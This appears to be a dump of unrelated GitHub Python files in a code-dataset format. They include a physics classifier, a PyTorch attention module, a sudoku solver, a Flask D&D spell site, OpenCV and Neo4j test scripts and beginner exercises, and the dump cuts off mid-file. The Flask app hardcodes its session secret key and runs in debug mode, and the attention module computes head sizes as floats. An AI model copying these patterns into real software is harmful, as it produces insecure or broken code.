StandardScaler()\n #scaler.fit(entry_to_predict_on)\n #entry_to_predict_on = scaler.transform(entry_to_predict_on) \n \n clf = loadmodel(mymodel)\n particles = clf.predict_proba(entry_to_predict_on)\n List = ['e','pi','mu','k','p']\n particles = pd.DataFrame(particles, columns=List)\n particles['event'] = df.loc[:,'events']\n if flag==True:\n print(particles.head(5))\n return particles\n \ndef getRootPrediction(myfile, mymodel, outfile):\n '''\n getRootPrediction(string, string, string) -> None\n \n Accepts input ROOT file of FairRoot Folder structure that contains your simulated events, the saved model, and \n outputs another ROOT file that contains probability distributions of different particles in a branch called \n (PidAlgoMl).\n '''\n myfile = str(myfile)\n mymodel = str(mymodel)\n outfile = str(outfile)\n try:\n infile = ROOT.TFile.Open(myfile, 'update')\n if (infile.IsZombie()):\n print ('Error Opening Input File.')\n exit(-1)\n intree = infile.Get('cbmsim')\n \n Array = ROOT.TClonesArray('PndPidProbability')\n newBr = intree.Branch('PidAlgoMl', 'TClonesArray', ROOT.AddressOf(Array))\n List = ['e','pi','mu','k','p']\n particles = predict(myfile, mymodel)\n \n for i in range(1,intree.GetEntries()+1):\n if ((i%100)==0):\n print ('Event ')\n print (i)\n new_df = particles.loc[particles.loc[:,'event']==i, List]\n index = len(new_df.index)\n for j in range(index):\n x_0 = new_df.iloc[j,0] # Electron\n x_1 = new_df.iloc[j,1] # Pion\n x_2 = new_df.iloc[j,2] # Muon\n x_3 = new_df.iloc[j,3] # Kaon\n x_4 = new_df.iloc[j,4] # Proton\n ProbabilityObject = PndPidProbability(x_0, x_2, x_1, x_3, x_4, j)\n Array[j] = ProbabilityObject\n newBr.Fill()\n Array.Clear()\n \n infile.cd()\n intree.Write('',TObject.kOverwrite)\n \n \n nEvents = 0\n fRun = FairRunAna()\n fRun.SetInputFile(myfile)\n fRun.SetOutputFile(outfile)\n fRun.SetGenerateRunInfo(kFALSE)\n\n myFile = ROOT.TFile(myfile, 'update')\n assMl = PndPidMlAssociatorTask(myFile)\n fRun.AddTask(assMl)\n print ('fRun.Init()')\n fRun.Init()\n fRun.Run(0,nEvents)\n infile.Close()\n except AttributeError:\n print ('Corrupt File or Tree.')\n except ReferenceError:\n print ('File does not exist.') \n","repo_name":"wesmail/MLPID_For_PANDARoot","sub_path":"Classifier.py","file_name":"Classifier.py","file_ext":"py","file_size_in_byte":13916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71026200145","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\nfrom scaled_dot_product_attention import ScaledDotProductAttention\n\nclass MultiHeadAttention(nn.Module):\n def __init__(self, d_model: int, num_heads: int):\n super().__init__()\n\n # d_model = 512\n self.d_model = d_model\n # num_heads = 8\n self.num_heads = num_heads\n # dk = dv = dmodel/h = 64\n self.d_k = d_model / num_heads\n self.d_v = d_model / num_heads\n\n # 512 --> 512 linear projection\n # combined all 8 heads weight matrixes, separate into multiple heads during calculation\n self.q_linear_projection_func = nn.Linear(d_model, num_heads * self.d_k, bias=False)\n self.k_linear_projection_func = nn.Linear(d_model, num_heads * self.d_k, bias=False)\n self.v_linear_projection_func = nn.Linear(d_model, num_heads * self.d_v, bias=False)\n\n # 512 --> 512 linear projection\n self.attention_projection_func = nn.Linear(num_heads * self.d_v, d_model, bias=False)\n\n self.attention = ScaledDotProductAttention()\n\n def forward(self, q: torch.Tensor, k: torch.Tensor, v: torch.Tensor, mask: torch.Tensor=None) -> torch.Tensor:\n # Instead of performing a single attention function with dmodel-dimensional keys, values and queries,\n # we found it beneficial to linearly project the queries, keys and values h times with different, learned\n # linear projections to dk, dk and dv dimensions, respectively. On each of these projected versions of\n # queries, keys and values we then perform the attention function in parallel, yielding dv-dimensional\n # output values.\n\n # q: query, (batch_size, input_seq_lenth, d_k)\n # k: key, (batch_size, input_seq_lenth, d_k)\n # v: value, (batch_size, input_seq_lenth, d_v)\n # mask: (batch_size, input_seq_length)\n # output: (batch_size, input_seq_lenth, d_v)\n\n batch_size = q.size(0)\n\n # project q, k and v\n projected_q = self.q_linear_projection_func(q)\n projected_k = self.k_linear_projection_func(k)\n projected_v = self.v_linear_projection_func(v)\n # re-organize q, k and v tensors into multiple heads\n # projected_q: (batch_size, input_seq_lenth, num_heads, d_k) (e.g. (1, 512, 8, 64))\n # projected_k: (batch_size, input_seq_lenth, num_heads, d_k) (e.g. (1, 512, 8, 64))\n # projected_v: (batch_size, input_seq_lenth, num_heads, d_v) (e.g. (1, 512, 8, 64))\n projected_q = projected_q.view(batch_size, q.size(1), self.num_heads, self.d_k)\n projected_k = projected_k.view(batch_size, k.size(1), self.num_heads, self.d_k)\n projected_v = projected_v.view(batch_size, v.size(1), self.num_heads, self.d_v)\n # projected_q: (batch_size, num_heads, input_seq_lenth, d_k) (e.g. (1, 8, 512, 64))\n # projected_k: (batch_size, num_heads, input_seq_lenth, d_k) (e.g. (1, 8, 512, 64))\n # projected_v: (batch_size, num_heads, input_seq_lenth, d_v) (e.g. (1, 8, 512, 64))\n projected_q = projected_q.transpose(1, 2)\n projected_k = projected_k.transpose(1, 2)\n projected_v = projected_v.transpose(1, 2)\n\n # attention: (batch_size, num_heads, input_seq_length, d_v)\n attention = self.attention(projected_q, projected_k, projected_v, mask=mask)\n\n # swap attention dimensions\n # attention: (batch_size, input_seq_length, num_heads, d_v)\n attention = attention.transpose(1, 2)\n\n # concat attention values across heads\n # attention: (batch_size, input_seq_length, d_model)\n attention = attention.contiguous().view(batch_size, q.size(1), self.d_model)\n\n # project attention\n # attention: (batch_size, input_seq_lenth, d_v)\n attention_projection = self.attention_projection_func(attention)\n multi_head_attention = attention_projection\n\n return multi_head_attention\n","repo_name":"chautsunman/transformer","sub_path":"multi_head_attention.py","file_name":"multi_head_attention.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5061728513","text":"def main():\n number = int(input())\n hours_worked = int(input())\n salary_per_hour = float(input())\n\n total_salary = hours_worked * salary_per_hour\n \n print(\n \"NUMBER = \" + str(number) + \"\\n\" +\n \"SALARY = U$ \" + str(\"%.2f\"%total_salary)\n )\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"beatrizvalfranco/learning-python","sub_path":"exemplo1008.py","file_name":"exemplo1008.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12241147524","text":"from marshmallow import Schema, fields, validate, validates, validates_schema, ValidationError\nfrom techlib.schemautils import sDocPrj, sXfld, xisBlank, xisMissing\nfrom techlib.schemautils import validator as vd\nimport CoolProp.CoolProp as CP\n\n\nclass docInput(Schema):\n calculation_option = fields.Nested(sXfld, required=True)\n Tdb = fields.Nested(sXfld, required=True)\n P = fields.Nested(sXfld, required=True)\n Twb = fields.Nested(sXfld)\n Tdp = fields.Nested(sXfld)\n RH = fields.Nested(sXfld)\n W = fields.Nested(sXfld)\n h = fields.Nested(sXfld)\n\n @validates('calculation_option')\n def check_calculation_option(self, value):\n vd.xString(value)\n calculation_options = [\n \"Tdb_RH_P\",\n \"Tdb_Twb_P\",\n \"Tdb_Tdp_P\",\n \"Tdb_W_P\",\n \"Tdb_h_P\"]\n\n vd.xChoice(value, calculation_options)\n\n @validates('Tdb')\n def check_Tdb(self, value):\n vd.xNumber(value)\n vd.xDim(value, ['temperature'])\n\n @validates('P')\n def check_P(self, value):\n vd.xNumber(value)\n vd.xGrtThan(value, 0)\n vd.xDim(value, ['pressure'])\n\n @validates('Twb')\n def check_Twb(self, value):\n if (xisBlank(value)):\n return\n vd.xNumber(value)\n vd.xDim(value, ['temperature'])\n\n @validates('Tdp')\n def check_Tdp(self, value):\n if (xisBlank(value)):\n return\n vd.xNumber(value)\n vd.xDim(value, ['temperature'])\n\n @validates('RH')\n def check_RH(self, value):\n if (xisBlank(value)):\n return\n vd.xNumber(value)\n vd.xGrtThanEq(value, 0)\n vd.xLessThanEq(value, 1)\n\n @validates('W')\n def check_W(self, value):\n if (xisBlank(value)):\n return\n vd.xNumber(value)\n vd.xGrtThanEq(value, 0)\n\n @validates('h')\n def check_h(self, value):\n if (xisBlank(value)):\n return\n vd.xNumber(value)\n vd.xDim(value, ['specificEnergy'])\n\n @validates_schema(pass_original=True)\n def check_missingvalid(self,data, original_data):\n err_fields = []\n if 'calculation_option' in data:\n if (data['calculation_option']['_val']=='Tdb_RH_P'):\n if xisMissing(original_data, 'RH'):\n err_fields.append('RH')\n\n if (data['calculation_option']['_val']=='Tdb_Twb_P'):\n if xisMissing(original_data, 'Twb'):\n err_fields.append('Twb')\n\n if (data['calculation_option']['_val']=='Tdb_Tdp_P'):\n if xisMissing(original_data, 'Tdp'):\n err_fields.append('Tdp')\n\n if (data['calculation_option']['_val']=='Tdb_W_P'):\n if xisMissing(original_data, 'W'):\n err_fields.append('W')\n\n if (data['calculation_option']['_val']=='Tdb_h_P'):\n if xisMissing(original_data, 'h'):\n err_fields.append('h')\n\n if (len(err_fields)>0):\n raise ValidationError(\"invalid number\", err_fields)\n\n\nclass docResult(Schema):\n RH = fields.Nested(sXfld)\n Twb = fields.Nested(sXfld)\n Tdp = fields.Nested(sXfld)\n W = fields.Nested(sXfld)\n rho = fields.Nested(sXfld)\n v = fields.Nested(sXfld)\n h = fields.Nested(sXfld)\n u = fields.Nested(sXfld)\n s = fields.Nested(sXfld)\n Cp = fields.Nested(sXfld)\n Cp_ha = fields.Nested(sXfld)\n\n\nclass docSchema(sDocPrj):\n input = fields.Nested(docInput)\n result = fields.Nested(docResult)\n","repo_name":"sandeeprah/vanguard","sub_path":"vanguard/calc/root/mechanical/HVAC/humid-air-props/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"70134885906","text":"# You have two lists which you will use to create a third\n# You will compare list1[x] to list2[y] and populate the third\n# List with which every iterators word length is even\n# if both are even, then you would add just one case of the word\n# you can only use while loops\n\narr1 = ['woof','mew','bork','craww','tricky']\narr2 = ['borf','meow','growll','chirps','tricky']\nnew_arr=[]\n\n#outter count\ni=0\n#inner count\nj=0\n\n#outter loop\nwhile i < len(arr1):\n # if index value is even and index value is not in my new array\n if len(arr1[i]) % 2 == 0 and arr1[i] not in new_arr:\n # add it to new array\n new_arr.append(arr1[i])\n\n # counting\n i = i + 1\n # inner loop\n while j < len (arr2):\n if len(arr2[j]) % 2 ==0 and arr2[j] not in new_arr:\n new_arr.append(arr2[j])\n j = j + 1\n\n\nprint(new_arr)\n","repo_name":"mjyrhee9/IB-Comp-Sci-Projects","sub_path":"list_array.py","file_name":"list_array.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34958087151","text":"import time\n\nfrom backtracking import Backtracking\n\nfirst_board = [\n [0, 6, 0, 5, 0, 8, 7, 0, 3],\n [9, 0, 0, 0, 0, 2, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 8, 0],\n [5, 0, 8, 0, 0, 3, 0, 0, 9],\n [0, 7, 3, 0, 0, 1, 0, 0, 0],\n [4, 0, 0, 0, 0, 0, 6, 0, 0],\n [0, 1, 0, 0, 0, 0, 3, 2, 0],\n [0, 0, 4, 0, 0, 0, 0, 0, 6],\n [0, 0, 0, 0, 6, 0, 5, 0, 0]\n]\n\n\nclass SudokuSolver(Backtracking):\n\n def __init__(self):\n super(SudokuSolver, self).__init__()\n self.get_row = lambda state, y: state[y]\n self.get_column = lambda state, x: [state[y][x] for y in range(len(state))]\n\n def get_possible_states(self, state, pos):\n l = []\n x = pos % 9\n y = pos // 9\n if state[y][x] != 0:\n return [state]\n forbidden = self.get_row(state, y) + self.get_column(state, x) + self.get_box(state, x, y)\n opportunities = list(range(1, 10))\n for f in forbidden:\n if f in opportunities:\n opportunities.remove(f)\n for o in opportunities:\n c = self.copy(state)\n c[y][x] = o\n l.append(c)\n\n return l\n\n def get_box(self, state, x, y):\n bx = x // 3\n by = y // 3\n box = []\n for i in range(3):\n for j in range(3):\n box.append(state[by*3+j][bx*3+i])\n return box\n\n\n def copy(self, state):\n new = []\n for row in state:\n new_r = []\n for v in row:\n new_r.append(v)\n new.append(new_r)\n return new\n\n\n def end(self, pos):\n return pos >= 81\n\n\ndef calc_time():\n\n count = 0\n t_sum = 0\n for i in range(1000):\n t1 = time.time()\n b = solver.solve(first_board)\n t2 = time.time()\n count += 1\n t = t2-t1\n t_sum += t\n print(t_sum / count)\n\nif __name__ == '__main__':\n solution = [\n [1, 6, 2, 5, 4, 8, 7, 9, 3],\n [9, 8, 5, 7, 3, 2, 4, 6, 1],\n [3, 4, 7, 9, 1, 6, 2, 8, 5],\n [5, 2, 8, 6, 7, 3, 1, 4, 9],\n [6, 7, 3, 4, 9, 1, 8, 5, 2],\n [4, 9, 1, 2, 8, 5, 6, 3, 7],\n [7, 1, 6, 8, 5, 9, 3, 2, 4],\n [8, 5, 4, 3, 2, 7, 9, 1, 6],\n [2, 3, 9, 1, 6, 4, 5, 7, 8],\n ]\n solver = SudokuSolver()\n b = solver.solve(first_board)\n for i in range(9):\n for j in range(9):\n if solution[i][j] != b[i][j]:\n print('!')\n for row in b:\n print(row)\n","repo_name":"deletedInO1/sudoku","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35821727732","text":"'''\nLachlan Row\n3/05/2021 - 29/10/2021\n\nD&D spell compendium website, built with flask and SQLAlchemy\nthis website is for my year 13 software engineering project, being graded against the database, programming, and media standards\n\n'''\n\nfrom flask import Flask, render_template, redirect, request, session, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\n# initialising the app under which the site runs\napp = Flask(__name__) \n\n# configuring the app for use, this will need to be changed before release\napp.config['DEBUG'] = True\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///spells.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n# creating the object db, which is used by SQLAlchemy to access the database\ndb = SQLAlchemy(app)\n\n# importing models for queries\nimport models\n\n# home/landing page\n@app.route(\"/\") \n@app.route(\"/home\")\ndef home():\n user = current_user() # every route which returns a web page also returns the user object, which tells the browser if a user is logged in, and alters the options available on the nav bar if there is.\n return render_template(\"home.html\", user=user)\n\n# function for finding information on any current user session\ndef current_user(): \n if session.get(\"user\"): # if a user session is found return the data sorrounding that user\n return models.User.query.get(session['user'])\n else: \n return False\n\n# function to create a user session\n@app.context_processor\ndef add_current_user(): \n if session.get('user'): \n return dict(current_user=models.User.query.get(session['user']))\n return dict(current_user=None)\n\n# login page, takes username and password inputs and compares them to values in the database. if there is a match, a user session is created.\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n user = current_user()\n if request.method == 'POST': # if POST method then the form data will be compared to whats in the db, user will be logged in if inputted data matches\n user = models.User.query.filter(models.User.name == request.form.get('username')).first() # checks the username input against database\n if user and check_password_hash(user.password, request.form.get('password')):\n session['user'] = user.id\n return redirect(url_for('userpage', user=user)) # redirect to user's page, so they can start making spellbooks right away\n else:\n return render_template(\"login.html\", error='username or password incorrect', user=user)\n return render_template(\"login.html\", user=user)\n\n# logoute route, has no actual page, just removes the current user session\n@app.route(\"/logout\")\ndef logout():\n user = current_user()\n try:\n session.pop('user') # removes user session\n except: # returns an error if the user tries to type in logout route whilst not logged in\n return redirect(url_for('login', error='not currently logged in', user=user)) \n return redirect(url_for('home', user=user))\n\n# account creation page, makes a new user account with a username and password, salts and hashes the password before storing it in the database for security\n@app.route(\"/createaccount\", methods=['GET', 'POST']) \ndef createaccount():\n user = current_user()\n if request.method == 'POST':\n if 5 > len(request.form.get('username')) > 20: # the username must be between 4 and 21 characters\n return render_template(\"createaccount.html\", error='username must be between 5 and 12 characters', user=user) \n elif models.User.query.filter(models.User.name == request.form.get('username')).first(): # usernames cannot double up\n return render_template(\"createaccount.html\", error='username already in use', user=user) \n elif len(request.form.get('password')) < 7: # if length of inputted password is less than 7 it will not be accepted. The longer a password, the harder it is to find through brute force.\n return render_template(\"createaccount.html\", error='password must be a minimum of 7 characters', user=user) \n else:\n user_info = models.User (\n name = request.form.get('username'), # takes username from form\n password = generate_password_hash(request.form.get('password'), salt_length=10), # takes password inputted in form and salts and hashes it for encryption\n validation = 0,\n )\n db.session.add(user_info)\n db.session.commit()\n return render_template(\"login.html\", error=\"please login in :)\", user=user)\n return render_template(\"createaccount.html\", user=user)\n\n# function for editing the name of a spellbook, used in both spellbook creation and name changing\ndef editspellbookname(user,spellbookname,spellbooknumber):\n if bool(spellbookname) == False: #check to see if null result was submitted\n return \"nullname\"\n elif len(spellbookname) < 5 or len(spellbookname) > 30: #making sure the name isn't too big or small\n return \"namelen\"\n else:\n userspellbook = models.User.query.filter_by(name=user.name).first()\n if spellbooknumber == 1:\n userspellbook.spellbook1 = spellbookname\n elif spellbooknumber == 2:\n userspellbook.spellbook2 = spellbookname\n elif spellbooknumber == 3:\n userspellbook.spellbook3 = spellbookname\n elif spellbooknumber == 4:\n userspellbook.spellbook4 = spellbookname\n elif spellbooknumber == 5:\n userspellbook.spellbook5 = spellbookname\n db.session.merge(userspellbook)\n db.session.commit()\n return \"okay\"\n\n# user page, shows username and a list of links to user spellbooks, also allows users to create new spellbooks (up to 5)\n@app.route(\"/user\", methods = ['GET', 'POST'])\ndef userpage():\n user = current_user()\n if user == False:\n return redirect(url_for(\"login\", error='not currently logged in', user=user))\n if request.method == 'POST':\n spellbookname = request.form.get('spellbook')\n spellbooknumber = int(request.form.get('spellbooknum')) #if users alter this value so it cannot be converted into an integer this will break, possibly badly. this will require inspect to do\n action = editspellbookname(user,spellbookname,spellbooknumber)\n if action == \"nullname\":\n return render_template(\"userpage.html\", error='Please enter a name into the text field', user=user)\n elif action == \"namelen\":\n return render_template(\"userpage.html\", error='name must be between 5 and 30 characters!', user=user)\n elif action == \"okay\":\n return render_template(\"userpage.html\", user=user)\n return render_template(\"userpage.html\", user=user)\n\n# spellbook page, shows the spells present in one of the user's spellbooks and allows them to change the spellbook name.\n@app.route(\"/user/\", methods = ['GET', 'POST'])\ndef spellbook(spellbook):\n user = current_user()\n if user == False:\n return redirect(url_for(\"login\", error='not currently logged in', user=user))\n spellbooklist = [user.spellbook1, user.spellbook2, user.spellbook3, user.spellbook4, user.spellbook5] # this gives an iterable list, the user object has too many fields to iterate through\n for i in range(1,6):\n if i == spellbook and bool(spellbooklist[i-1]) != False: #adjusting for zero indexing between list and url\n spells = models.Spell.query.filter(models.Spell.users.any(models.UserSpells.userbookid==i), models.Spell.users.any(uid=user.id)).all()\n if request.method == 'POST':\n spellbookname = request.form.get('spellbook')\n spellbooknumber = int(request.form.get('spellbooknum')) #if users alter this value so it cannot be converted into an integer this will break, possibly badly. this will require inspect to do\n action = editspellbookname(user,spellbookname,spellbooknumber)\n if action == \"nullname\":\n return render_template(\"spellbook.html\", spellbook=spellbooklist[i-1], spells=spells, id=spellbook, error='Please enter a name before creating that spellbook', user=user)\n elif action == \"namelen\":\n return render_template(\"spellbook.html\", spellbook=spellbooklist[i-1], spells=spells, id=spellbook, error='name must be between 5 and 30 characters!', user=user)\n elif action == \"okay\":\n user = current_user()\n spellbooklist = [user.spellbook1, user.spellbook2, user.spellbook3, user.spellbook4, user.spellbook5] # this is to refresh the spellbook name, so the new name is presented straight away for the user\n return render_template(\"spellbook.html\", spellbook=spellbooklist[i-1], spells=spells, id=spellbook, user=user)\n return render_template(\"spellbook.html\", spellbook=spellbooklist[i-1], spells=spells, id=spellbook, user=user)\n return render_template(\"404.html\", error = 'This spellbook has not, or cannot, be created.', user=user), 404\n\n# spells page, shows all spells and has links to their individual pages\n@app.route(\"/spells\") \ndef all_spells():\n user = current_user()\n spells = models.Spell.query.order_by(models.Spell.name).all()\n return render_template(\"all_spells.html\", spells=spells, user=user)\n\n# spell page, shows all information for a single spell (decided by the id in the url)\n@app.route(\"/spell/\") \ndef spell(id):\n user = current_user()\n spell = models.Spell.query.filter_by(id=id).first_or_404()\n # tags = models.Tag.query.filter(models.Tag.spells.any(id=id)).all() #for use when I have data in my tag table, currently it will just slow things down.\n return render_template(\"spell.html\", spell=spell, user=user)\n\n# casters page, shows all casters, links to their individual pages and has a brief blurb\n@app.route(\"/casters\") \ndef all_casters():\n user = current_user()\n casters = models.Caster.query.order_by(models.Caster.name).all()\n return render_template(\"all_casters.html\", casters=casters, user=user)\n\n# caster page, shows all spells available to a single caster decided by the id in the url\n@app.route(\"/caster/\") \ndef caster(id):\n user = current_user()\n caster = models.Caster.query.filter_by(id=id).first_or_404()\n spells = models.Spell.query.filter(models.Spell.casters.any(id=id)).all()\n return render_template(\"caster.html\", caster=caster, spells=spells, user=user)\n\n# search page, allows users to filter all spells by different parameters\n@app.route(\"/search\", methods=(\"GET\",\"POST\"))\ndef search():\n user = current_user()\n spells = models.Spell.query.order_by(models.Spell.name).all()\n schools = models.School.query.order_by(models.School.name).all()\n casters = models.Caster.query.order_by(models.Caster.name).all()\n if request.method == \"POST\":\n params = request.form.getlist(\"param\")\n if bool(params) == False: # if no parameters are submitted, return full results\n return render_template(\"search.html\", spells=spells, schools=schools, casters=casters, user=user)\n else:\n spellslists = []\n spellsets = []\n levelspellslists = []\n schoolspellslists = []\n concentrationspellslists = []\n ritualspellslists = []\n intersection = True # if user wants intersection, not union\n for param in params: # loops through each parameter returned and split it into the category being filtered and the filter itself\n param = param.split(\"_\")\n if param[0] == \"Union\": # this tells the function whether to take only items that meet all of the multiple paramaters, or to take any that meet one or more of multiple paramaters. this provides users more freedom and flexibility in finding spells they need.\n intersection = False\n if param[0] == \"level\" or param[0] == \"school\" or param[0] == \"concentration\" or param[0] == \"ritual\": #these are discrete variables with no overlap, as you cannot have a spell that is both level 1 and 4 or that is both transmutation and evocation (as defined by the game rules). Because of this, we turn the returned spell lists into sets and combine them so all results are shown.\n if param[0] == \"level\":\n templist = models.Spell.query.filter_by(level=param[1]).all()\n levelspellslists.append(templist)\n if param[0] == \"school\":\n templist = models.Spell.query.filter_by(school=int(param[1])).all()\n schoolspellslists.append(templist)\n if param[0] == \"concentration\":\n templist = models.Spell.query.filter_by(concentration=int(param[1])).all()\n concentrationspellslists.append(templist)\n if param[0] == \"ritual\":\n templist = models.Spell.query.filter_by(ritual=int(param[1])).all()\n ritualspellslists.append(templist)\n if param[0] == \"caster\": # each spell can be cast by multiple casters, so I take a list of all the spells available to each caster here, and the user can then decide if they want to filter them by union or intersection.\n templist = models.Spell.query.filter(models.Spell.casters.any(id=param[1])).all()\n spellslists.append(templist)\n spellsets = set_maker(spellslists) # this function turns a list of lists into a list of sets\n if bool(levelspellslists) != False: # each of these if statements checks to see the list has anything in it, and then turn the conjugate lists into sets and remove any double ups by taking the union of them all\n levelsets = set_maker(levelspellslists)\n levelspells = levelsets[0].union(*levelsets)\n spellsets.append(levelspells)\n if bool(schoolspellslists) != False: \n schoolsets = set_maker(schoolspellslists)\n schoolspells = schoolsets[0].union(*schoolsets)\n spellsets.append(schoolspells)\n if bool(concentrationspellslists) != False:\n concentrationsets = set_maker(concentrationspellslists)\n concentrationspells = concentrationsets[0].union(*concentrationsets)\n spellsets.append(concentrationspells)\n if bool(ritualspellslists) != False:\n ritualsets = set_maker(ritualspellslists)\n ritualspells = ritualsets[0].union(*ritualsets)\n spellsets.append(ritualspells)\n if bool(spellsets) == True:\n if intersection == True:\n spells = list(spellsets[0].intersection(*spellsets))\n if intersection == False:\n spells = list(spellsets[0].union(*spellsets))\n spells.sort(key = sort_key)\n return render_template(\"search.html\", spells=spells, schools=schools, casters=casters, user=user)\n if bool(spellsets) == False:\n return render_template(\"search.html\", spells=spells, schools=schools, casters=casters, user=user)\n return render_template(\"search.html\", spells=spells, schools=schools, casters=casters, user=user)\n\n# this function takes a list of lists and turns it into a list of sets\ndef set_maker(inputlists): \n outputsets = []\n for inputlist in inputlists:\n outputset = set(inputlist)\n outputsets.append(outputset)\n return outputsets\n\n# this function creates a key by which a list can be filtered.\ndef sort_key(spell): \n return spell.name\n\n# search instructions page, purely presents list of \n@app.route(\"/search/instructions\")\ndef searchinstructions():\n user = current_user()\n return render_template('searchinstructions.html', user=user)\n\n# 404 handler, if a url for the page is not found the 404 page will be returned\n@app.errorhandler(404) \ndef page_not_found(e):\n user = current_user()\n return render_template('404.html', user=user), 404\n\n# runs the site\nif __name__ == \"__main__\":\n app.secret_key = 'super secret key' # the secret key is used for initialising encrypted communications between server and browser. this key would not be good for a production app, but for testing it is adequate\n app.config['SESSION_TYPE'] = 'filesystem'\n app.run(debug=True)","repo_name":"MasterfulDingo/AlibansArcanomicon","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23202004362","text":"#step1 - Import Libraries\nimport cv2 as cv\nimport numpy as np\n\n#Step2 - Read frames from Camera\ncap = cv.VideoCapture(0) # webcam number 1\nif(cap.isOpened()==False):\n print('there is an error')\n\n#Setting Resolution Function\ndef make_1080p():\n cap.set(3, 1920)\n cap.set(4, 1080)\n\ndef make_720p():\n cap.set(3, 1280)\n cap.set(4, 720)\n\ndef make_480p():\n cap.set(3, 640.0)\n cap.set(4, 480.0)\n\ndef make_320p():\n cap.set(3, 320)\n cap.set(4, 240)\n\ndef change_res(width, height):\n cap.set(3, width)\n cap.set(4, height)\n\n\n#Calling Resolution Function\nmake_720p()\n#change_res(1280, 720)\n\ncap.set(cv.CAP_PROP_FRAME_WIDTH, 640.0)\ncap.set(cv.CAP_PROP_FRAME_HEIGHT, 480.0)\n#Changing frames per second\ncap.set(cv.CAP_PROP_FPS, 40)\n\n#Printing Resolution and FPS\nprint(cap.get(cv.CAP_PROP_FPS))\nprint(cap.get(3))\nprint(cap.get(4))\n\n# read until the end\n#Step3 - Display frame by frame\nwhile(cap.isOpened()):\n #capture Frame by frame\n ret, frame =cap.read()\n if ret == True:\n cap.set(cv.CAP_PROP_FRAME_WIDTH, 640.0)\n cap.set(cv.CAP_PROP_FRAME_HEIGHT, 480.0)\n cv.imshow('Frame',frame)\n if cv.waitKey(1) & 0xFF == ord('q'):\n break\n else:\n break \n\n# Step4 - Release and close windows\ncap.release()\ncv.destroyAllWindows()","repo_name":"asadTariq666/AsadTariq_PythonKaChilla_Tasks","sub_path":"OpenCV/cv16_Change_Resolution.py","file_name":"cv16_Change_Resolution.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28887531956","text":"import unittest, os\n\nfrom tests.shared import *\nfrom tests.stub.shared import *\nfrom nutkit.frontend import Driver, AuthorizationToken\nimport nutkit.protocol as types\n\n\nclass TestRetry(unittest.TestCase):\n def setUp(self):\n self._backend = new_backend()\n self._server = StubServer(9001)\n\n def tearDown(self):\n self._backend.close()\n # If test raised an exception this will make sure that the stub server\n # is killed and it's output is dumped for analys.\n self._server.reset()\n\n def test_read(self):\n self._server.start(os.path.join(scripts_path, \"retry_read.script\"))\n\n num_retries = 0\n def retry_once(tx):\n nonlocal num_retries\n num_retries = num_retries + 1\n result = tx.run(\"RETURN 1\")\n record = result.next()\n return record.values[0]\n\n auth = AuthorizationToken(scheme=\"basic\", principal=\"neo4j\", credentials=\"pass\")\n driver = Driver(self._backend, \"bolt://%s\" % self._server.address, auth)\n session = driver.session(\"r\")\n x = session.readTransaction(retry_once)\n self.assertIsInstance(x, types.CypherInt)\n self.assertEqual(x.value, 1)\n self.assertEqual(num_retries, 1)\n\n session.close()\n driver.close()\n self._server.done()\n\n def test_read_twice(self):\n self._server.start(os.path.join(scripts_path, \"retry_read_twice.script\"))\n\n num_retries = 0\n def retry_twice(tx):\n nonlocal num_retries\n num_retries = num_retries + 1\n result = tx.run(\"RETURN 1\")\n record = result.next()\n return record.values[0]\n\n auth = AuthorizationToken(scheme=\"basic\", principal=\"neo4j\", credentials=\"pass\")\n driver = Driver(self._backend, \"bolt://%s\" % self._server.address, auth)\n session = driver.session(\"r\")\n x = session.readTransaction(retry_twice)\n self.assertIsInstance(x, types.CypherInt)\n self.assertEqual(x.value, 1)\n self.assertEqual(num_retries, 2)\n\n session.close()\n driver.close()\n self._server.done()\n\n","repo_name":"2hdddg/nutkit","sub_path":"tests/stub/retry.py","file_name":"retry.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36714105705","text":"#!/bin/python3\n\n#\n# Url: https://www.hackerrank.com/challenges/re-start-re-end/problem\n#\n# Title: Re.start() & Re.end()\n#\n# Arquivo de Teste\n#\n\nimport re\n\ns = 'jjhv'\nk = 'z'\npattern = re.compile(k)\nm = pattern.search(s)\n#print(m)\nif not m:\n print('({0}, {1})'.format(-1, -1))\nwhile m:\n print('({0}, {1})'.format(m.start(), m.end() - 1))\n m = pattern.search(s, m.start() + 1)\n","repo_name":"LuanaSchlei/HackerRank_Python","sub_path":"re-start-re-end/re-start-re-end-teste.py","file_name":"re-start-re-end-teste.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7569900572","text":"import pandas as pd\nimport math\nimport csv\nimport numpy as np\n\nformat = {\n 'dataset': ['pw','freq'],\n 'guess':['pw', 'freq', 'logprob', 'guessing_num_in', 